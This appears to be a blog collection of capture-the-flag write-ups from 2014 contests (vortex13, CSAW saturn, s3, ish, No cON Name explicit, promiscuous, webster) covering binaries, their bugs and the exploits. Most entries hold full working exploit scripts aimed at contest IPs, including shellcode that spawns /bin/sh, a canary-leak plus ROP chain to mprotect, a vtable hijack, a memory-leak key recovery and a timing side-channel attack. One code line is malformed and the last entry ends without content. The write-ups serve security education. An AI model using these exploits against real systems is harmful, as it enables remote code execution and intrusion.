int __cdecl main(int argc, char **argv)
{
        int i; // [sp+18h] [bp-8h]@3
        int k; // [sp+18h] [bp-8h]@9
        int j; // [sp+1Ch] [bp-4h]@4
        int l; // [sp+1Ch] [bp-4h]@10

        if ( argc )
                exit(1);
        for ( i = 0; environ[i]; ++i )
        {
                for ( j = 0; environ[i][j]; ++j )
                        environ[i][j] = 0;
        }
        for ( k = 0; argv[k]; ++k )
        {
                for ( l = 0; argv[k][l]; ++l )
                        argv[k][l] = 0;
        }
        vuln();
        return 0;
}

Exploit Mitigations

The only mitigation in place is the non-executable stack. ASLR is disabled, and there are no stack canaries.

Vulnerablity

In the vuln() function, the string that is read in from stdin is sent as the format argument of printf. This is a obvious string format bug.

Exploit

By using the "%n" format specifier, an attacker can overwrite arbitrary memory, but for this technique to work you need a dword aligned pointer to the memory address you want to overwrite on the stack. Because the buffer is on the heap, we can't supply the address in our format string, as is done in normal stack-based format string exploits. Because the command line arguments and environment variables are wiped out before vuln() runs, the only way to get values on the stack is changing the filename of the binary. In the implementation of execve() in the Linux kernel, the filename argument is copied to the stack of the new process space.

execve() implementation in the Linux kernel (linux/fs/exec.c)

/*
 * sys_execve() executes a new program.
 */
static int do_execve_common(struct filename *filename,
                struct user_arg_ptr argv,
                struct user_arg_ptr envp)
{
    ...

    retval = copy_strings_kernel(1, &bprm->filename, bprm);
    if (retval < 0)
        goto out;

    ...
}

Now that we can control some information on the stack, we need to know the distance in dwords from the first argument of printf to our addess. This value can be found by using a debugger, but because this paper is a long play, I need an automated method to measure this distance during run time. I want a solutions that will still work even if the system administrator updates libc or the dynamic linker that throws off the position the stack frames I'm going to be touching.

Because ASLR is disabled, we can at least count on the filename string ending at the same memory address for any specific kernel version. On a 32-bit Linux kernel, this address is found a few bytes before kernels space, 0xC0000000. On a 64-bit kernel running in compatibility mode, this address is around 0xFFFFE000.

To find the other end of the distance, we need to leak some information from the running process. By using "%10$08x" as the input string to vortex13, we can leak the value of EBP during main(). It is stored on the stack during the procedure prelude of vuln() (0x08048544). Now that we have both values, we can accuratly calculate the distance required for our format strings during runtime. The calculation can be found in the get_format_index_from_stack_addr() function of my exploit code.

Now that we can write values to arbitrary addresses in vortex13, the next problem is that we have a 19 character limit on our format strings. This isn't enough to make two passes to overwrite a full DWORD in vortex. We need a way to loop vuln() and we can only do it by overwriting a single WORD.

When a new process is loaded, the dynamic linker doesn't automatically bind all foreign symbols. By default, ld-linux delays the bindings until they are needed. This is called "Lazy Binding" (more this can be found on page 213 of Linkers And Loaders by John R. Levine). So, before free() is called in vortex13, the value of free() in the got is 0x08048426. We only need to overwrite the lower WORD, and we can jump somwhere vortex13's image in memory.

Now, we need to find an address to jump to inside of vuln(). Let's look at vuln() again. IDA Pro's F5 of vuln() is a little missleading. Here is a more accurate reconstruction of the original C code.

void __cdecl vuln()
{
        signed int i; // [sp+14h] [bp-14h]@3
    int n; // [bp - 10h]
        char *ptr; // [sp+1Ch] [bp-Ch]@1

    n = 20;
        ptr = (char *)malloc(n);
        if ( !fgets(ptr, n, stdin) )
                exit(1);
        for ( i = 0; i <= 19; ++i )
        {
                if ( !strchr(allowed, ptr[i]) )
                        exit(1);
        }
        printf(ptr);
        free(ptr);
}

The main difference is the extra local stack variable n. If we jump right after the initilization of n, we can get will be able to suply multiple format strings to vuln() and set us up nicely for our next move.

After patching free() in the got, vuln will look more like this:

void __cdecl vuln()
{
        signed int i; // [sp+14h] [bp-14h]@3
    int n; // [bp - 10h]
        char *ptr; // [sp+1Ch] [bp-Ch]@1

    n = 20;
loop:
        ptr = (char *)malloc(n);
        if ( !fgets(ptr, n, stdin) )
                exit(1);
        for ( i = 0; i <= 19; ++i )
        {
                if ( !strchr(allowed, ptr[i]) )
                        exit(1);
        }
        printf(ptr);
        asm("call loop");
}

Our next obstical is the 19 character limit. We have already leaked an address off of the stack. We can use that value to calculate the address of n on the stack and change it to a larger value.

void __cdecl vuln()
{
        signed int i; // [sp+14h] [bp-14h]@3
    int n; // [bp - 10h]
        char *ptr; // [sp+1Ch] [bp-Ch]@1

    n = 20;
loop:
        ptr = (char *)malloc(1024);
        if ( !fgets(ptr, 1024, stdin) )
                exit(1);
        for ( i = 0; i <= 19; ++i )
        {
                if ( !strchr(allowed, ptr[i]) )
                        exit(1);
        }
        printf(ptr);
        asm("call loop");
}
void __cdecl vuln()
{
        signed int i; // [sp+14h] [bp-14h]@3
    int n; // [bp - 10h]
        char *ptr; // [sp+1Ch] [bp-Ch]@1

    n = 20;
loop:
        ptr = (char *)malloc(1024);
        if ( !fgets(ptr, 1024, stdin) )
                exit(1);
        for ( i = 0; i <= 19; ++i )
        {
                if (!1) )
                        exit(1);
        }
        printf(ptr);
        asm("call loop");
}
void __cdecl vuln()
{
        signed int i; // [sp+14h] [bp-14h]@3
    int n; // [bp - 10h]
        char *ptr; // [sp+1Ch] [bp-Ch]@1

    n = 20;
loop:
        ptr = (char *)malloc(1024);
        if ( !fgets(ptr, 1024, stdin) )
                exit(1);
        for ( i = 0; i <= 19; ++i )
        {
                if (!1) )
                        exit(1);
        }
        system(ptr);
        asm("call loop");
}

CSAW Quals 2014: saturn

2014-09-21 00:00:03

Description

saturn
400

You have stolen the checking program for the CSAW Challenge-Response-Authentication-Protocol system. Unfortunately you forgot to grab the challenge-response keygen algorithm (libchallengeresponse.so). Can you still manage to bypass the secure system and read the flag?

nc 54.85.89.65 8888

Written by crowell

Analysis

$ md5sum saturn
e679062d59ead2744ce031c801589752  saturn
$ file saturn
saturn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xa55828fef5637b04d127681ada4a06b332d54a9c, stripped
$ execstack saturn
- saturn
$ ldd saturn
    linux-gate.so.1 =>  (0xb776c000)
    libchallengeresponse.so => not found
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ba000)
    /lib/ld-linux.so.2 (0xb776d000)
$ 

saturn uses stdio for communication, so it requires a program like inetd to service network clients.

The service calls itself a "ChallengeResponseAuthenticationProtocol". It requires a shared object that was not given away with the binary. I assumed correctly that the shared object initializes two global arrays; challenge_list at memory address 0x0804A0C0 and response_list at 0x804A0E0.

unsigned int challenge_list[8];
unsigned int response_list[8];

Three operations are provided by the service. The opcodes are encoded in one byte. The high nibble represents the operation number, and the low nibble represents the array index for the operation to act on.

$ nc 54.85.89.65 8888
CSAW ChallengeResponseAuthenticationProtocol Flag Storage
asdf
$

Vulnerability

The arrays challenge_list has 8 elements, but an opcode stores the index of that array in a nibble with a range 0 to 15. It is possible to read out of the bounds of challenge_list by using opcodes greater than 0xA7 through 0xAF.

Exploit

The array response_list follows challenge_list directly in memory. These values can be read by using opcodes 0xA7 through 0xAF.

saturn.py

#!/usr/bin/python

import socket
import struct

class Saturn:
    def __init__(self, host, port, logging=False):
        self.logging = logging

        family = socket.AF_INET
        type_ = socket.SOCK_STREAM
        proto = socket.IPPROTO_TCP
        self.s = socket.socket(family, type_, proto)
        self.s.connect((host, port))

        self.recv_until(("Flag Storage",))

    def send(self, tx):
        self.s.sendall(tx)
        if self.logging:
            print "TX:", repr(tx)

    def recv(self, at_most=1024):
        seg = self.s.recv(at_most)
        if len(seg) == 0:
            self.s.close()
            raise Exception("Remote peer closed connection")
        if self.logging:
            print "RX:", repr(seg)
        return seg

    def recv_nbytes(self, nbytes):
        rx = ""
        for i in xrange(0, nbytes):
            rx += self.recv(1)
        return rx

    def find_needles(self, buff, needles):
        for n in needles:
            if buff.find(n) != -1:
                return True
        return False

    def recv_until(self, needles):
        rx = ""
        while self.find_needles(rx, needles) is False:
            rx += self.recv()
        return rx

    def cmd_A0(self, Ax):
        cmd = (Ax & 0xF) | 0xA0
        cmd_packed = struct.pack("B", cmd)
        self.send(cmd_packed)
        response = self.recv_nbytes(4)
        response_int = struct.unpack("<I", response)[0]
        return response_int

    def cmd_E0(self, Ex, guess):
        cmd = (Ex & 0xF) | 0xE0
        cmd_packed = struct.pack("B", cmd)
        self.send(cmd_packed)

        guess_packed = struct.pack("<I", guess)
        self.send(guess_packed)

    def cmd_80(self):
        cmd_packed = struct.pack("B", 0x80)
        self.send(cmd_packed)

        print "trying to recover flag:"
        while 1:
            print "flag.txt: ", self.recv()


def exploit(saturn):
    for i in xrange(0, 8):
        x = saturn.cmd_A0(i+8)
        print "Solution %i: %08X" % (i, x)
        saturn.cmd_E0(i, x)
    saturn.cmd_80()


def main():
    target = "54.85.89.65"
    saturn = Saturn(target, 8888)
    exploit(saturn)
    saturn.s.close()


if __name__ == "__main__":
    main()

Output

$ ./saturn.py
Solution 0: 4CAC67E2
Solution 1: 687C4200
Solution 2: 7E6029AD
Solution 3: 7D7B8EDE
Solution 4: 545A458B
Solution 5: 44BBFB32
Solution 6: 6A07E24C
Solution 7: 1F076A2F
trying to recover flag:
flag.txt:  flag{greetings_to_pure_digital}

^C

CSAW Quals 2014: s3

2014-09-21 00:00:02

Description

s3
300

nc 54.165.225.121 5333

Written by fuzyll

Analysis

$ md5sum s3
dabc5210dde03d314eac887007997b6e  s3
$ file s3
s3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe99ee53d6922baffcd3cecd9e6b333f7538d0633, stripped
$ execstack s3
X s3
$

s3 is a string storage service. It can store two types of strings: "NULL-Terminated" c-sytle strings, and "Counted String" pascal type.

Also, the ID of a string is just a pointer to its representation in memory.

$ ./s3.patched
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3

> c 0 hello world
Your stored string's unique identifier is: 16498736
> r 16498736
hello world
> x
$ 

s3 uses stdio for communication. It must be served with something like inetd or socat.

start_s3.sh

#!/bin/sh
socat TCP-LISTEN:5333,reuseaddr,fork EXEC:./s3

It also has a nasty call to alarm(5) which makes debugging a pain. Here is a simple python script to patch the call with NOPs.

patch_alarm.py

#!/usr/bin/python

with open("s3", "rb") as f:
    contents = f.read()

start = 0
while start != -1:
    start = contents.find("\xE8\xD5\xF1\xFF\xFF", start)
    if start != -1:
        print "0x%08X: %s" % (start, "call 0xFFFFF1D5")
        start += 1

patched_contents = contents.replace("\xE8\xD5\xF1\xFF\xFF", "\x90"*5)

with open("s3.patched" ,"wb") as f:
    f.write(patched_contents)

Vulnerability

When updating a string, the new string is stored as a "NULL-terminated" string, but the type information is not updated. It also appears that the "Counted String" is a C++ object. An attacker can control the contents of that object, including the vtable.

$ gdb ./s3.patched
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/.../s3.patched...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/.../s3.patched
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3

> c 1 foobarbaz
Your stored string's unique identifier is: 6320176
> u 6320176 AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Your stored string's new unique identifier is: 6320336
> r 6320336

Program received signal SIGSEGV, Segmentation fault.
0x00000000004019d6 in ?? ()
(gdb) x/i $rip
=> 0x4019d6:    callq  *0x10(%rax)
(gdb) info registers rax
rax            0x4141414141414141   4702111234474983745
(gdb) q
A debugging session is active.

    Inferior 1 [process 6394] will be killed.

Quit anyway? (y or n) y
$ 

Exploit

By using the 'r' command on a type:1 string that has been updated with a pointer to a malicious vtable, an attacker can execute arbitrary code.

The steps for exploiting are as follows:

  1. Create a new type:0 string, shellcode, and fill it with shellcode.
  2. Create a new type:0 string, vtable, with a pointer at offset 0x10 to the shellcode string.
  3. Create a new type:1 string, exploit_string.
  4. Update exploit_string with a pointer to the vtable string.
  5. Run the 'r' command on exploit_string to trigger exploit.

This is a diagram of the heap once it has been primed for exploitation:

                      +---------+
  exploit_string:     | &vtable |
                      +---------+
                      |
                     \|/

                      +----------------------------------+
          vtable:     |........   &shellcode  ...........|
                      +----------------------------------+
                                   |
                      +------------+
                      |
                     \|/

                      +----------------------------------+
       shellcode:     | \x90\x90....                     |
                      +----------------------------------+

s3.py

#!/usr/bin/python

import re
import socket
import struct
import telnetlib

shellcode = ""
shellcode += "\x48\x31\xD2\x48\x31\xF6\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\xFF"
shellcode += "\x48\xC1\xE0\x08\x48\xC1\xE8\x08\x50\x48\x89\xE7\x48\x31\xC0\xB0"
shellcode += "\x3B\x0F\x05\x48\x31\xFF\x48\xFF\xC7\x48\x31\xC0\xB0\x3C\x0F\x05"
shellcode += "\xF4"

class S3:
    def __init__(self, host, port, logging=False):
        self.id_re = re.compile(r'is: (\d+)', re.MULTILINE)
        family = socket.AF_INET
        type_ = socket.SOCK_STREAM
        proto = socket.IPPROTO_TCP
        self.s = socket.socket(family, type_, proto)
        self.logging = logging

        self.s.connect((host, port))

        self.recv_until(("\n> ",))

    def send(self, tx):
        if self.logging:
            print "TX:", repr(tx)
        self.s.sendall(tx)

    def recv(self):
        seg = self.s.recv(1024)
        if len(seg) == 0:
            self.s.close()
            raise Exception("Peer closed connection")
        if self.logging:
            print "RX:", repr(seg)
        return seg

    def find_needles(self, buff, needles):
        for n in needles:
            if buff.find(n) != -1:
                return True
        return False

    def recv_until(self, needles):
        rx = ""
        while self.find_needles(rx, needles) is False:
            rx += self.recv()
        return rx

    def cmd_create(self, type_, string):
        if string.find("\n") != -1:
            raise Exception("Tried creating string that contains '\\n'")
        self.send("c %d %s\n" % (type_, string))
        rx = self.recv_until(("\n> ",))
        r = self.id_re.search(rx)
        if r is None:
            raise Exception("didn't find string id from create command")
        id_ = int(r.groups()[0])
        return id_

    def cmd_read(self, id_):
        self.send("r %d\n" % id_)
        rx = self.recv_until(("\n> ", ))
        return rx[:-3]

    def cmd_update(self, id_, string):
        if string.find("\n") != -1:
            raise Exception("Tried updating with a string containing '\\n'")
        self.send("u %d %s\n" % (id_, string))
        rx = self.recv_until(("\n> ", ))
        r = self.id_re.search(rx)
        if r is None:
            raise Exception("didn't find id for updated string")
        id_ = int(r.groups()[0])
        return id_

    def cmd_exit(self):
        self.send("x\n")
        while 1:
            self.recv()


def poc(s3):
    id_ = s3.cmd_create(1, "hello world")
    id_ = s3.cmd_update(id_, "AAAAAAAABBBBBBBBCCCCCCCC")
    s = s3.cmd_read(id_)
    print s
    s3.cmd_exit()


def simple_exploit(s3):
    shellcode_id = s3.cmd_create(0, shellcode)
    shellcode_id_packed = struct.pack("<Q", shellcode_id)

    vtable = "A"*0x10 + shellcode_id_packed
    vtable_id = s3.cmd_create(1, "\x00"*0x18)
    vtable_id = s3.cmd_update(vtable_id, vtable)
    vtable_id_packed = struct.pack("<Q", vtable_id)

    exploit_id = s3.cmd_create(1, "\x00"*0x18)
    exploit_id = s3.cmd_update(exploit_id, vtable_id_packed)

    s3.send("r %d\n" % (exploit_id,))

    s3.send("uname -a\n")
    # s3.send("ls /home/amazon\n")
    s3.send("cat /home/amazon/flag\n")
    t = telnetlib.Telnet()
    t.sock = s3.s
    t.interact()


def main():
    target = "54.165.225.121"
    debug = True
    debug = False
    s3 = S3(target, 5333, debug)

    # pause for debugger
    # raw_input("Press any key to continue")
    # poc(s3)
    simple_exploit(s3)


if __name__ == "__main__":
    main()

Output

$ ./s3.py
Linux ip-172-31-44-231 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
flag{SimplyStupidStorage}
*** Connection closed by remote host ***

CSAW Quals 2014: ish

2014-09-21 00:00:01

Description

ish

300

This shell sucks

HINT: get the contents of key

HINT: The cat command is useless

nc 54.208.86.14 9988

Written by kiwi

Analysis

$ md5sum ish
be6c57464c8a76885cf7b5057acf4c82  ish
$ file ish
ish: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x15eab16d4c5b678688b74323bf6b2126203c6bc1, not stripped
$ execstack ish
- ish
$ 

Typical fork()'ing TCP server. Ish is a shell with the following commands:

$ nc localhost 9988
Username: user
Is Shell v1.0 (Codename: Iz gud)
ish$ ls
.
..
key
ish
ish$ cat key
ish$ run sh
FAIL
ish$ admin
YES
ish$

Vulnerability

First of all, the whole authentication system is broken. Unless the username is exactly root\x00\n, the password is never prompted for and you are automatically logged in.

When the password is prompted for, it is compared to the contents of the 'key' file. The buffer that stores the contents of the 'key' file is only cleared if the password IS correct. Using an information leak in the lotto game, the contents of this file can be recovered.

By choosing level 0 in the lotto game, no random numbers are generated and the uninitialized stack variables are printed as 4 unsigned 32-bit integers.

Notice how the two lists of "correct numbers" don't change after playing the lotto game twice:

ish$ lotto
>Lotto Game<
Pick a level between 1 and 4.
: 0
Pick your lotto numbers!
: 1
: 2
: 3
: 4
You lose...
The correct numbers were:
0, 3214650625, 134519438, 3214650600

Better luck next time!
ish$ lotto
>Lotto Game<
Pick a level between 1 and 4.
: 0
Pick your lotto numbers!
: 1
: 2
: 3
: 4
You lose...
The correct numbers were:
0, 3214650625, 134519438, 3214650600

Better luck next time!
ish$

Exploit

Using the lotto information leak it is possible to leak 16 bytes from the stack, but the contents of the 'key' file don't line up with the bytes leaked by lotto. Fortunately, when creating, a new shell with login a stack buffer is allocated using alloca(). This buffer is 16-byte aligned, and its size is controlled by changing the size of the username. With repeated calls using the login command, the 16-byte window leaked by lotto can sweep across the stack.

This is a depiction of the stack when providing different lengths of usernames to the login command.

                                    +--------------+----------------------+
strlen(username)==1                 | lotto frame  |     login frame      |
                                    +--------------+----------------------+
                                 +--------------+-------------------------+
strlen(username)==17             | lotto frame  |        login frame      |
                                 +--------------+-------------------------+
                              +--------------+----------------------------+
strlen(username)==33          | lotto frame  |           login frame      |
                              +--------------+----------------------------+
                           +--------------+-------------------------------+
strlen(username)==49       | lotto frame  |              login frame      |
                           +--------------+-------------------------------+
                        +--------------+----------------------------------+
strlen(username)==65    | lotto frame  |                 login frame      |
                        +--------------+----------------------------------+

ish.py

import socket
import re
import struct
import random

class Ish:
    def __init__(self, host, port, username, passwd='password', logging=False):
        self.lotto_re = re.compile("(\d+), (\d+), (\d+), (\d+)",re.MULTILINE)
        family = socket.AF_INET
        type_ = socket.SOCK_STREAM
        proto = socket.IPPROTO_TCP
        self.s = socket.socket(family, type_, proto)
        self.logging = logging

        self.s.connect((host, port))

        rx = self.recv_until(("Username: ", ))
        self.send(username)

        rx = ""
        while rx.find("ish$ ") == -1 and rx.find("Password: ") == -1:
            rx += self.s.recv(1024)

        if rx.find("Password: ") != -1:
            self.s.sendall(passwd)
            rx = ""
            while rx.find("ish$ ") == -1 and rx.find("failed!\n") == -1:
                rx += self.s.recv(1024)
            if rx.find("failed!\n") != -1:
                raise Exception("Login failed: %s:%s" % (username, passwd))

    def send(self, tx):
        if self.logging:
            print "TX:", repr(tx)
        self.s.sendall(tx)

    def find_needles(self, buff, needles):
        for n in needles:
            if buff.find(n) != -1:
                return True
        return False

    def recv_until(self, needles):
        rx = ""
        while self.find_needles(rx, needles) is False:
            seg = self.s.recv(1024)
            if len(seg) == 0:
                if self.logging:
                    print "RX:", repr(rx)
                raise Exception("peer closed connection")
            rx += seg
        if self.logging:
            print "RX:", repr(rx)
        return rx

    def login(self, username, passwd="password"):
        self.send("login\n")

        rx = self.recv_until(("Username: ",))
        self.send(username)

        rx = self.recv_until(("ish$ ", "Password: "))

        if rx.find("Password: ") != -1:
            self.send(passwd)
            rx = self.recv_until(("ish$ ", "failed!\n"))

    def exit(self):
        self.send("exit\n")
        self.recv_until(("ish$ ",))

    def lotto(self, level, guesses):
        self.s.sendall("lotto\n")

        rx = ""
        while rx.find(": ") == -1:
            rx += self.s.recv(1024)

        self.s.sendall(str(level) + "\n")


        nguesses = level
        if nguesses == 0:
            nguesses = 4

        for i in xrange(0, nguesses):
            rx = ""
            while rx.find(": ") == -1:
                rx += self.s.recv(1024)
            self.s.sendall(str(guesses[i]) + "\n")

        rx = ""
        while rx.find("ish$ ") == -1:
            rx += self.s.recv(1024)

        if rx.find("You win!") != -1:
            print rx
            raise Exception("You won the lotto, choose better guesses")

        r = self.lotto_re.search(rx)
        if r is None:
            print "START failed to get lotto numbers"
            print rx
            print "STOP"
            raise Exception("Failed to get lotto numbers")
        g = r.groups()

        g = map(lambda x: int(x), g)
        leaked = struct.pack("IIII", g[0], g[1], g[2], g[3])
        return leaked

def main():
    target = "54.208.86.14"
    ish = Ish(target, 9988, "foo")

    for x in xrange(1, 255, 16):
        # place key
        ish.login("Z")
        ish.login("root\x00", "Z" * 70)
        ish.exit()
        # leak key
        ish.login("Z" * x)
        leaked = ish.lotto(0, (random.randint(0,400),200,34,4777))
        print "%02X: %s" % (x, repr(leaked))
        ish.exit()
    ish.exit()


if __name__ == "__main__":
    main()

Output

$ ./ish.py
01: '\x00\xbbD\x9e\x00\x00\x00\x00\xf8\x81\x1a\x00\xf8\x81\x1a\x00'
11: 'KLLLLMMMMOOOOXX}'
21: 'GHHHHIIIIJJJJKKK'
31: 'CDDDDEEEEFFFFGGG'
41: 'flag{AAAABBBBCCC'
51: 'i\x01\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
61: '\xed\x00\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
71: '\xc1\x00\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
81: '\x05\x01\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
91: '3\x00\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
A1: 'g\x01\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
B1: '\x8c\x01\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
C1: '\xe0\x00\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
D1: 'x\x01\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
E1: '\x90\x00\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
F1: '\xf9\x00\x00\x00\xc8\x00\x00\x00"\x00\x00\x00\xa9\x12\x00\x00'
Traceback (most recent call last):
  File "./ish.py", line 137, in <module>
    main()
  File "./ish.py", line 133, in main
    ish.exit()
  File "./ish.py", line 72, in exit
    self.recv_until(("ish$ ",))
  File "./ish.py", line 52, in recv_until
    raise Exception("peer closed connection")
Exception: peer closed connection
$ 


flag{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMOOOOXX}

CSAW Quals 2014: bo

2014-09-21 00:00:00

Seriously?

$ strings bo | grep flag
flag{exploitation_is_easy!}
$ 

No cON Name Quals 2014: explicit

2014-09-15 00:00:02

Analysis

$ file explicit
explicit: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x2faf76d097d5425024217b9dc5c5a934ed171609, stripped
$ execstack explicit
- explicit
$

The service is a guessing game. It's a typical fork()'ing tcp server. The service does not wait() for child processes. yuck.

$ nc localhost 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: 10
Your number is 10 which is too high.
Pick a number between 0 and 20: 5
Your number is 5 which is too high.
Pick a number between 0 and 20: 3
Your number is 3 which is too low.
Pick a number between 0 and 20: 4
You win! Congratulations!

Bye
$

Vulnerability

There is a stack buffer overflow and a format string bug in the function at 0x08048AAC.

void handle_client(){
    ...
    char stack_buffer[256];

    ...
    /* buffer overflow @ 0x08048B69 */
    fgets(stack_buffer, 1024, sock_file);
    ...
    /* string format @ 0x08048BF7 */
    fprintf(sock_file, stack_buffer);
    ...
}

Exploit Mitigations

A canary directly follows stack_buffer and the stack is not executable.

Exploit

Using the string format bug, it is trivial to leak the value of the stack canary.

Pick a number between 0 and 20: %70$p
Your number is 0x646cbf00 which is too low.

The address of stack_buffer can be determined this way too. A pointer to the first instance of '\n' in stack_buffer is stored in local variable on the stack. This value is used by the service to NULL terminate the input string at the end of the line.

Pick a number between 0 and 20: %5$p
Your number is 0xbf8137e0 which is too low.

The beginning of stack_buff is determined by subtracting strlen("%5$p") from 0xbf8137e0.

Because the service is statically-linked, the return addresses used in the ROP chain can be hard coded. I looked for system() but couldn't find it. I did find mprotect() at 0x0805FA30. By returning to mprotect(), the execution restriction on the stack can be removed, allowing shellcode to run on the stack.

explicit.py

#!/usr/bin/python

import socket
import struct
import telnetlib

TARGET = ("88.87.208.163", 7070)

MPROTECT_ADDR = struct.pack("<I", 0x0805FA30)

shellcode = ""
shellcode += "\xeb\x2c\x5e\x6a\x00\x89\xf0\xeb\x01\x40\x80\x38\x00\x74\x09\x50"
shellcode += "\x80\x38\x00\x74\xf4\x40\xeb\xf8\x31\xc0\x50\x89\xe2\x8d\x4c\x24"
shellcode += "\x04\x8b\x19\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xcf"
shellcode += "\xff\xff\xff"
shellcode += "/bin/sh <&4 >&4 2>&4\x00"
shellcode += "-c\x00"
shellcode += "/bin/sh\x00\x00"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect(TARGET)

rx = ""
while rx.find("Pick a number between 0 and 20: ") == -1:
    rx += s.recv(1024)

# leer canary
s.send("%70$08x\n")
rx = ""
while rx.find("Pick a number between 0 and 20: ") == -1:
    rx += s.recv(1024)
canary_str = rx[15:23]
canary_packed = struct.pack("<I", int(canary_str, 16))


# leer stack buffer address
s.send("%5$08x\n")
rx = ""
while rx.find("Pick a number between 0 and 20: ") == -1:
    rx += s.recv(1024)
buff_addr_str = rx[15:23]
buff_addr = int(buff_addr_str, 16) - 6


shellcode_addr = buff_addr + 256 + 4 + 0xC + 5*4
rop = ""
rop += MPROTECT_ADDR
rop += struct.pack("<I", shellcode_addr)
rop += struct.pack("<I", shellcode_addr & 0xFFFFF000)
rop += struct.pack("<I", 0x10000)
rop += struct.pack("<I", 0x7)
rop += shellcode + "\n"

buff = "\x00" * 256
buff += canary_packed
buff += "A" * 0xC
buff += rop

s.send(buff)
rx = ""
while rx.find("Pick a number between 0 and 20: ") == -1:
    rx += s.recv(1024)


s.send("q\n")
rx = ""
while rx.find("Bye\n") == -1:
    rx += s.recv(1024)

t = telnetlib.Telnet()
t.sock = s
t.write("uname -a\n")
t.interact()

output

$ ./explicit.py
Linux ncnchallenges 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 GNU/Linux
cat ~/flag.txt
NcN_97740ead1060892a253be8ca33c6364a712b21d2

No cON Name Quals 2014: promiscuous

2014-09-15 00:00:01

Analysis

You are given an ip:port with no binary and told that the flag is 'NcN_' + sha1(key). The service seems to respond 'Invalid key' to any input. The only hint is that it there is a slight lag between entering a line and receiving a response.

$ nc 88.87.208.163 6969
test
Invalid key
??????
Invalid key

Vulnerability

The service is vulnerable to a time-based side channel attack. By measuring the time between request/response, one can determine the key one character at a time.

Exploit

#!/usr/bin/python

import socket
import time
import string
import operator


def time_key(sock, key):
    start = time.time()
    sock.send(key + "\n")
    rx = ""
    while rx.find("\n") == -1:
        rx += sock.recv(1024)
    if rx != "Invalid key\n":
        print "Key: ", repr(key)
        print "Response: ", repr(rx)
    end = time.time()
    print end - start, key
    return end - start


def find_next_char(sock, key):
    times = dict()
    keyspace = string.printable.replace("\n", "")
    keyspace = string.ascii_letters + string.digits
    for c in keyspace:
        t = time_key(sock, key+c)
        times[c] = t
    sorted_times = sorted(times.iteritems(), key=operator.itemgetter(1))
    print "done: ", sorted_times[-1]
    return sorted_times[-1][0]


def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
    s.connect(("88.87.208.163", 6969))

    key = ""
    while True:
        key += find_next_char(s, key)
        print key


if __name__ == "__main__":
    main()

Output

$ ./promisc.py
....
2.96526098251 tIMeMaTTerO
2.98226809502 tIMeMaTTerP
2.88052296638 tIMeMaTTerQ
2.94008302689 tIMeMaTTerR
Key:  'tIMeMaTTerS'
Response:  'Yeah! You got it! :)\n'
3.12084317207 tIMeMaTTerS
^C

$ echo -n tIMeMaTTerS | shasum
15d07db12cd83174f0d19ce7e8c65a7c5ffba7df  -
$ echo NcN_15d07db12cd83174f0d19ce7e8c65a7c5ffba7df
NcN_15d07db12cd83174f0d19ce7e8c65a7c5ffba7df
$

No cON Name Quals 2014: webster

2014-09-15 00:00:00

Analysis

A guessing game; typical web challenge.

First, you must guess the username and password of test:test. There may have been another way to get this, but I found it buy digging through the .bash_history file on the explicit challenge server.

The next part was fiddling with a cookie that get set after logging in. The loc cookie is the md5 hash of an ip address that gets used by the authentication algorithm. By guessing to change the cookie's value to the md5 hash of '127.0.0.1', you win permission to download flag.txt.

Solution

